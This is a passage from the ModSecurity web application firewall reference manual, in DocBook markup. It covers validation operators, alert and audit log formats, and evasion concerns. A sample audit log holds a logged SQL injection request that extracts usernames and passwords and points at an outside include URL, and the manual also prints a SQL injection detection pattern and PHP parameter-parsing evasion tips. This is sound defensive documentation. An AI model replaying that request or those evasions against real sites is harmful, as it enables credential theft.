phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML
SecRule REQBODY_PROCESSOR "!^XML$" nolog,pass,skipAfter:12345
SecRule XML "<emphasis>@validateDTD /path/to/apache2/conf/xml.dtd</emphasis>,id:12345"</programlisting>
</section>
<section>
<title><literal>validateSchema</literal></title>
<para><emphasis>Description:</emphasis> This operator requires the
request body to be processed as XML.</para>
<para>Example:</para>
<programlisting format="linespecific">SecDefaultAction log,deny,status:403,phase:2
SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \
phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML
SecRule REQBODY_PROCESSOR "!^XML$" nolog,pass,skipAfter:12345
SecRule XML "<emphasis>@validateSchema /path/to/apache2/conf/xml.xsd</emphasis>,id:12345"</programlisting>
<para>This operator requires request body to be processed as XML.</para>
</section>
<section>
<title><literal>validateUrlEncoding</literal></title>
<para><emphasis>Description:</emphasis> Verifies the encodings used in
the variable (if any) are valid.</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule ARGS "<emphasis>@validateUrlEncoding</emphasis>"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>URL encoding is an HTTP standard for encoding byte values within a
URL. The byte is escaped with a % followed by two hexadecimal values
(0-F). This directive does not check encoding in a POST payload when the
<literal>multipart/form-data</literal> encoding (file upload) is used.
It is not necessary to do so because URL encoding is not used for this
encoding.</para>
</section>
<section>
<title><literal>validateUtf8Encoding</literal></title>
<para><emphasis>Description:</emphasis> Verifies the variable is a valid
UTF-8 encoded string.</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule ARGS "<emphasis>@validateUtf8Encoding</emphasis>"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>UTF-8 encoding is valid on most web servers. Integer values
between 0-65535 are encoded in a UTF-8 byte sequence that is escaped by
percents. The short form is two bytes in length.</para>
<para>check for three types of errors:</para>
<itemizedlist>
<listitem>
<para>Not enough bytes. UTF-8 supports two, three, four, five, and
six byte encodings. ModSecurity will locate cases when a byte or
more is missing.</para>
</listitem>
<listitem>
<para>Invalid encoding. The two most significant bits in most
characters are supposed to be fixed to 0x80. Attackers can use this
to subvert Unicode decoders.</para>
</listitem>
<listitem>
<para>Overlong characters. ASCII characters are mapped directly into
the Unicode space and are thus represented with a single byte.
However, most ASCII characters can also be encoded with two, three,
four, five, and six characters thus tricking the decoder into
thinking that the character is something else (and, presumably,
avoiding the security check).</para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>verifyCC</literal></title>
<para><emphasis>Description:</emphasis> This operator verifies a given
regular expression as a potential credit card number. It first matches
with a single generic regular expression then runs the resulting match
through a Luhn checksum algorithm to further verify it as a potential
credit card number.</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule ARGS "<emphasis>@verifyCC \d{13,16}</emphasis>" \
"phase:2,sanitiseMatched,log,auditlog,pass,msg:'Potential credit card number'"</programlisting>
</section>
<section>
<title><literal>within</literal></title>
<para><emphasis>Description:</emphasis> This operator is a string
comparison and returns true if the input value is found anywhere within
the parameter value. Note that this is similar to
<literal>@contains</literal>, except that the target and match values
are reversed. Macro expansion is performed so you may use variable names
such as %{TX.1}, etc.</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_METHOD "!<emphasis>@within get,post,head</emphasis>" t:lowercase,deny,status:403
SecAction "pass,setvar:'tx.allowed_methods=get,post,head'"
SecRule REQUEST_METHOD "!<emphasis>@within %{tx.allowed_methods}</emphasis>" t:lowercase,deny,status:403</programlisting>
</section>
</section>
<section>
<title>Data Formats</title>
<para>This section documents the various data formats used by
ModSecurity.</para>
<section>
<title>Alerts</title>
<para>Below is an example of a ModSecurity alert entry. It is always
contained on a single line but we've broken it here into multiple lines
for readability.</para>
<programlisting>Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
against "REQUEST_PROTOCOL" required. [id "960034"] [msg "HTTP protocol version
is not allowed by policy"] [severity "CRITICAL"] [uri "/"] [unique_id
"PQaTTVBEUOkAAFwKXrYAAAAM"]</programlisting>
<para>Each alert entry begins with the engine message:</para>
<programlisting>Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
against "REQUEST_PROTOCOL" required.</programlisting>
<para>The engine message consists of two parts. The first part tells you
whether ModSecurity acted to interrupt transaction or rule processing.
If it did nothing the first part of the message will simply say
"Warning". If an action was taken then one of the following messages
will be used:</para>
<itemizedlist>
<listitem>
<para><emphasis>Access denied with code %0</emphasis> - a response
with status code %0 was sent.</para>
</listitem>
<listitem>
<para><emphasis>Access denied with connection close</emphasis> -
connection was abruptly closed.</para>
</listitem>
<listitem>
<para><emphasis>Access denied with redirection to %0 using status
%1</emphasis> - a redirection to URI %0 was issued using status
%1.</para>
</listitem>
<listitem>
<para><emphasis>Access allowed</emphasis> - rule engine stopped
processing rules (transaction was unaffected).</para>
</listitem>
<listitem>
<para><emphasis>Access to phase allowed</emphasis> - rule engine
stopped processing rules in the current phase only. Subsequent
phases will be processed normally. Transaction was not affected by
this rule but it may be affected by any of the rules in the
subsequent phase.</para>
</listitem>
<listitem>
<para><emphasis>Access to request allowed</emphasis> - rule engine
stopped processing rules in the current phase. Phases prior to
request execution in the backend (currently phases 1 and 2) will not
be processed. The response phases (currently phases 3 and 4) and
others (currently phase 5) will be processed as normal. Transaction
was not affected by this rule but it may be affected by any of the
rules in the subsequent phase.</para>
</listitem>
</itemizedlist>
<para>The second part of the engine message explains
<emphasis>why</emphasis> the event was generated. Since it is
automatically generated from the rules it will be very technical in
nature talking about operators and their parameters and give you insight
into what the rule looked like. But this message cannot give you insight
into the reasoning behind the rule. A well-written rule will always
specify a human-readable message (using the <literal>msg</literal>
action) to provide further clarification.</para>
<para>The format of the second part of the engine message depends on
whether it was generated by the operator (which happens on a match) or
by the rule processor (which happens where there is not a match, but the
negation was used):</para>
<itemizedlist>
<listitem>
<para>@beginsWith s- String match %0 at %1.</para>
</listitem>
<listitem>
<para>@contains - String match %0 at %1.</para>
</listitem>
<listitem>
<para>@containsWord - String match %0 at %1.</para>
</listitem>
<listitem>
<para>@endsWith - String match %0 at %1.</para>
</listitem>
<listitem>
<para>@eq - Operator EQ matched %0 at %1.</para>
</listitem>
<listitem>
<para>@ge - Operator GE matched %0 at %1.</para>
</listitem>
<listitem>
<para>@geoLookup - Geo lookup for %0 succeeded at %1.</para>
</listitem>
<listitem>
<para>@inspectFile - File %0 rejected by the approver script %1:
%2</para>
</listitem>
<listitem>
<para>@le - Operator LE matched %0 at %1.</para>
</listitem>
<listitem>
<para>@lt - Operator LT matched %0 at %1.</para>
</listitem>
<listitem>
<para>@rbl - RBL lookup of %0 succeeded at %1.</para>
</listitem>
<listitem>
<para>@rx - Pattern match %0 at %1.</para>
</listitem>
<listitem>
<para>@streq - String match %0 at %1.</para>
</listitem>
<listitem>
<para>@validateByteRange - Found %0 byte(s) in %1 outside range:
%2.</para>
</listitem>
<listitem>
<para>@validateDTD - XML: DTD validation failed.</para>
</listitem>
<listitem>
<para>@validateSchema - XML: Schema validation failed.</para>
</listitem>
<listitem>
<para>@validateUrlEncoding</para>
<itemizedlist>
<listitem>
<para>Invalid URL Encoding: Non-hexadecimal digits used at
%0.</para>
</listitem>
<listitem>
<para>Invalid URL Encoding: Not enough characters at the end of
input at %0.</para>
</listitem>
</itemizedlist>
</listitem>
<listitem>
<para>@validateUtf8Encoding</para>
<itemizedlist>
<listitem>
<para>Invalid UTF-8 encoding: not enough bytes in character at
%0 [offset %1].</para>
</listitem>
<listitem>
<para>Invalid UTF-8 encoding: invalid byte value in character at
%0 [offset %1].</para>
</listitem>
<listitem>
<para>Invalid UTF-8 encoding: overlong character detected at %0
[offset %1].</para>
</listitem>
<listitem>
<para>Invalid UTF-8 encoding: use of restricted character at %0
[offset %1].</para>
</listitem>
<listitem>
<para>Invalid UTF-8 encoding: decoding error at %0 [offset
%1].</para>
</listitem>
</itemizedlist>
</listitem>
<listitem>
<para>@verifyCC - CC# match %0 at %1 [offset %2].</para>
</listitem>
</itemizedlist>
<para>Messages not related to operators:</para>
<itemizedlist>
<listitem>
<para>When <literal>SecAction</literal> directive is processed -
Unconditional match in SecAction.</para>
</listitem>
<listitem>
<para>When <literal>SecRule</literal> does not match but negation is
used - Match of %0 against %1 required.</para>
</listitem>
</itemizedlist>
<para>The metadata fields are always placed at the end of the alert
entry. Each metadata field is a text fragment that consists of an open
bracket followed by the metadata field name, followed by the value and
the closing bracket. What follows is the text fragment that makes up the
<literal>id</literal> metadata field.</para>
<programlisting>[id "960034"]</programlisting>
<para>The following metadata fields are currently used:</para>
<orderedlist>
<listitem>
<para><literal>id</literal> - Unique rule ID, as specified by the
<literal>id</literal> action.</para>
</listitem>
<listitem>
<para><literal>rev</literal> - Rule revision, as specified by the
<literal>rev</literal> action.</para>
</listitem>
<listitem>
<para><literal>msg</literal> - Human-readable message, as specified
by the <literal>msg</literal> action.</para>
</listitem>
<listitem>
<para><literal>severity</literal> - Event severity, as specified by
the <literal>severity</literal> action.</para>
</listitem>
<listitem>
<para><literal>unique_id</literal> - Unique event ID, generated
automatically.</para>
</listitem>
<listitem>
<para><literal>uri</literal> - Request URI.</para>
</listitem>
<listitem>
<para><literal>logdata</literal> - contains transaction data
fragment, as specified by the <literal>logdata</literal>
action.</para>
</listitem>
</orderedlist>
<section>
<title>Alerts in Apache</title>
<para>Every ModSecurity alert conforms to the following format when it
appears in the Apache error log:</para>
<programlisting>[Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1] ModSecurity: ALERT_MESSAGE</programlisting>
<para>The above is a standard Apache error log format. The
"ModSecurity:" prefix is specific to ModSecurity. It is used to allow
quick identification of ModSecurity alert messages when they appear in
the same file next to other Apache messages.</para>
<para>The actual message (<literal>ALERT_MESSAGE</literal> in the
example above) is in the same format as described in the
<emphasis>Alerts</emphasis> section.</para>
</section>
<section>
<title>Alerts in Audit Log</title>
<para>Alerts are transported in the <literal>H</literal> section of
the ModSecurity Audit Log. Alerts will appear each on a separate line
and in the order they were generated by ModSecurity. Each line will be
in the following format:</para>
<programlisting>Message: ALERT_MESSAGE</programlisting>
<para>Below is an example of an entire <literal>H</literal> section
(followed by the <literal>Z</literal> section terminator):</para>
<programlisting>--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
[msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
[msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
--c7036611-Z--</programlisting>
</section>
</section>
<section>
<title>Audit Log</title>
<para>ModSecurity records one transaction in a single audit log file.
Below is an example:</para>
<programlisting>--c7036611-A--
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995 80.68.80.233 80
--c7036611-B--
GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,char(77),
password,char(77),email_address,char(77),info,char(77),user_level,char(77))/**/from
/**/eb_members/**/where/**/userid=1/*http://kamloopstutor.com/images/banners/on.txt?
HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, cslose
Host: www.example.com
User-Agent: libwww-perl/5.808
--c7036611-F--
HTTP/1.1 404 Not Found
Content-Length: 223
Connection: close
Content-Type: text/html; charset=iso-8859-1
--c7036611-H--
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
[msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
[msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
Apache-Error: [file "/tmp/buildd/apache2-2.x.x/build-tree/apache2/server/core.c"] [line 3505] [level 3]
File does not exist: /var/www/EvilBoard_0.1a
Stopwatch: 1199881676978327 2514 (396 2224 -)
Producer: ModSecurity v2.x.x (Apache 2.x)
Server: Apache/2.x.x
--c7036611-Z--
</programlisting>
<para>The file consist of multiple sections, each in different format.
Separators are used to define sections:</para>
<programlisting>--c7036611-A--</programlisting>
<para>A separator always begins on a new line and conforms to the
following format:</para>
<orderedlist>
<listitem>
<para>Two dashes</para>
</listitem>
<listitem>
<para>Unique boundary, which consists from several hexadecimal
characters.</para>
</listitem>
<listitem>
<para>One dash character.</para>
</listitem>
<listitem>
<para>Section identifier, currently a single uppercase
letter.</para>
</listitem>
<listitem>
<para>Two trailing dashes.</para>
</listitem>
</orderedlist>
<para>Refer to the documentation for <literal>SecAuditLogParts</literal>
for the explanation of each part.</para>
</section>
</section>
<section>
<title>Miscellaneous Topics</title>
<para></para>
<section>
<title>Impedance Mismatch</title>
<para>Web application fireballs have a difficult job trying to make
sense of data that passes by, without any knowledge of the application
and its business logic. The protection they provide comes from having an
independent layer of security on the outside. Because data validation is
done twice, security can be increased without having to touch the
application. In some cases, however, the fact that everything is done
twice brings problems. Problems can arise in the areas where the
communication protocols are not well specified, or where either the
device or the application do things that are not in the specification.
In such cases it may be possible to design payload that will be
interpreted in one way by one device and in another by the other device.
This problem is better known as Impedance Mismatch. It can be exploited
to evade the security devices.</para>
<para>While we will continue to enhance ModSecurity to deal with various
evasion techniques the problem can only be minimized, but never solved.
With so many different application backend chances are some will always
do something completely unexpected. The only solution is to be aware of
the technologies in the backend when writing rules, adapting the rules
to remove the mismatch. See the next section for some examples.</para>
<section>
<title>PHP Peculiarities for ModSecurity Users</title>
<para>When writing rules to protect PHP applications you need to pay
attention to the following facts:</para>
<orderedlist>
<listitem>
<para>When "register_globals" is set to "On" request parameters
are automatically converted to script variables. In some PHP
versions it is even possible to override the $GLOBALS
array.</para>
</listitem>
<listitem>
<para>Whitespace at the beginning of parameter names is ignored.
(This is very dangerous if you are writing rules to target
specific named variables.)</para>
</listitem>
<listitem>
<para>The remaining whitespace (in parameter names) is converted
to underscores. The same applies to dots and to a "[" if the
variable name does not contain a matching closing bracket.
(Meaning that if you want to exploit a script through a variable
that contains an underscore in the name you can send a parameter
with a whitespace or a dot instead.)</para>
</listitem>
<listitem>
<para>Cookies can be treated as request parameters.</para>
</listitem>
<listitem>
<para>The discussion about variable names applies equally to the
cookie names.</para>
</listitem>
<listitem>
<para>The order in which parameters are taken from the request and
the environment is EGPCS (environment, GET, POST, Cookies,
built-in variables). This means that a POST parameter will
overwrite the parameters transported on the request line (in
QUERY_STRING).</para>
</listitem>
<listitem>
<para>When "magic_quotes_gpc" is set to "On" PHP will use
backslash to escape the following characters: single quote, double
quote, backslash, and the nul byte.</para>
</listitem>
<listitem>
<para>If "magic_quotes_sybase" is set to "On" only the single
quote will be escaped using another single quote. In this case the
"magic_quotes_gpc" setting becomes irrelevant. The
"magic_quotes_sybase" setting completely overrides the
"magic_quotes_gpc" behaviour but "magic_quotes_gpc" still must be
set to "On" for the Sybase-specific quoting to be work.</para>
</listitem>
<listitem>
<para>PHP will also automatically create nested arrays for you.
For example "p[x][y]=1" results in a total of three
variables.</para>
</listitem>
</orderedlist>
</section>
</section>
</section>
</article>
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